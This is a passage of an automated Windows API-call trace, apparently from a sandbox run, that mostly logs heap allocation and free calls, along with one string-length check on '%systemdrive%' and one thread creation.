	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd740 | out: hHeap=0x4a0000) returned 1
	[0245.327] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff18 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eca0 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff00 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd370 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff30 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9280 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d9fa0 | out: hHeap=0x4a0000) returned 1
	[0245.328] lstrlenW (lpString="%systemdrive%") returned 13
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d98d0 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x51eb90 | out: hHeap=0x4a0000) returned 1
	[0245.328] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4dd340 | out: hHeap=0x4a0000) returned 1
	[0245.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4deb58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10014) returned 0x522f88
	[0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4fff30
	[0245.328] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4fff30, Size=0x20) returned 0x4d98f8
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d98f8, Size=0x40) returned 0x4daab0
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daab0, Size=0x80) returned 0x51eb90
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4dd740
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x200) returned 0x4dd740
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x400) returned 0x520f78
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x520f78, Size=0x800) returned 0x520f78
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x520f78, Size=0x1000) returned 0x532fa8
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x4fff88
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4fff30
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fff00
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4dd340
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4fff18
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x4) returned 0x4dd370
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4ffee8
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd340, Size=0x8) returned 0x4dd360
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4fff48
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd360, Size=0x10) returned 0x520b90
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ba8
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520bc0
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x520b90, Size=0x20) returned 0x4d98f8
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520b90
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd360
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520bd8
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520bf0
	[0245.329] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4d98f8, Size=0x40) returned 0x4daab0
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520c08
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520c20
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520c38
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520c50
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520c68
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520c80
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd340
	[0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520c98
	[0245.330] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4daab0, Size=0x80) returned 0x51eb90
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520cb0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520cc8
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ce0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520cf8
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520d10
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x520d28
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520d40
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd3a0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520d58
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520d70
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x520d88
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520da0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x520db8
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520dd0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x520de8
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520e00
	[0245.330] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x51eb90, Size=0x100) returned 0x4f0b98
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520e18
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520e30
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520e48
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x520e60
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520e78
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520e90
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd380
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ea8
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ec0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ed8
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4dd3b0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ef0
	[0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520f08
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd3c0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520f20
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520f38
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x520f50
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520f90
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520fa8
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520fc0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x520fd8
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x520ff0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x521008
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521020
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521038
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521050
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521068
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd3d0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521080
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521098
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5210b0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5210c8
	[0245.331] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0b98, Size=0x200) returned 0x4dd740
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5210e0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd3e0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5210f8
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521110
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521128
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521140
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521158
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521170
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521188
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5211a0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5211b8
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5211d0
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5211e8
	[0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521200
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521218
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521230
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521248
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521260
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521278
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521290
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5212a8
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5212c0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5212d8
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd3f0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5212f0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521308
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521320
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd400
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521338
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521350
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521390
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5213a8
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5213c0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5213d8
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5213f0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521408
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521420
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521438
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521450
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521468
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521480
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521498
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5214b0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5214c8
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5214e0
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5214f8
	[0245.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521510
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521528
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521540
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd410
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4dd420
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521558
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521570
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521588
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5215a0
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5215b8
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5215d0
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5215e8
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521600
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521618
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521630
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521648
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521660
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521678
	[0245.333] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4dd740, Size=0x400) returned 0x521778
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521690
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5216a8
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x5216c0
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5216d8
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x5216f0
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521708
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x521720
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521738
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x521750
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2b98
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd430
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2bb0
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f2bc8
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2be0
	[0245.333] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2bf8
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2c10
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2c28
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4f2c40
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2c58
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2c70
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2c88
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2ca0
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2cb8
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2cd0
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2ce8
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d00
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd440
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d18
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d30
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d48
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d60
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d78
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2d90
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2da8
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2dc0
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2dd8
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4f2df0
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2e08
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4f2e20
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2e38
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2e50
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2e68
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2e80
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2e98
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f2eb0
	[0245.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2ec8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2ee0
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2ef8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2f10
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2f28
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2f40
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2f58
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2f98
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2fb0
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2fc8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2fe0
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f2ff8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3010
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3028
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3040
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3058
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3070
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f3088
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12) returned 0x4d9fc0
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f30a0
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f30b8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f30d0
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f30e8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3100
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3118
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3130
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3148
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3160
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3178
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3190
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f31a8
	[0245.335] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f31c0
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f31d8
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f31f0
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3208
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3220
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3238
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3250
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3268
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3280
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f3298
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f32b0
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe) returned 0x4f32c8
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc) returned 0x4f32e0
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd450
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f32f8
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x8) returned 0x4dd460
	[0245.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa) returned 0x4f3310
